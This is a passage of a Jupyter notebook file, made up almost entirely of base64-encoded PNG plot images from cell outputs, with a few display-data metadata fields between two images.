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\n", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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